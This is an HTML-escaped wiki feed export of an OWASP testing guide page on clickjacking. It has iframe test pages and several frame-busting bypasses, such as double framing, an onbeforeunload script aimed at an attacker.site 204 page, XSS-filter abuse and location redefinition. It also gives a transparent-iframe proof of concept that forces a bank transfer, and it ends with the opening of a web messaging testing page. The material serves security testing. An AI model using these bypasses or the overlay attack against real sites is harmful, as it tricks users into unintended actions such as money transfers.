We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all requests and responses parameters flowing  through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code to create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186317</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=186317"/>
				<updated>2014-12-01T19:18:16Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need, Cross Document Messaging was introduced within the WHATWG HTML5 draft specification and was implemented in all major browsers. It enables secure communications between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
*data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
*origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
*source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
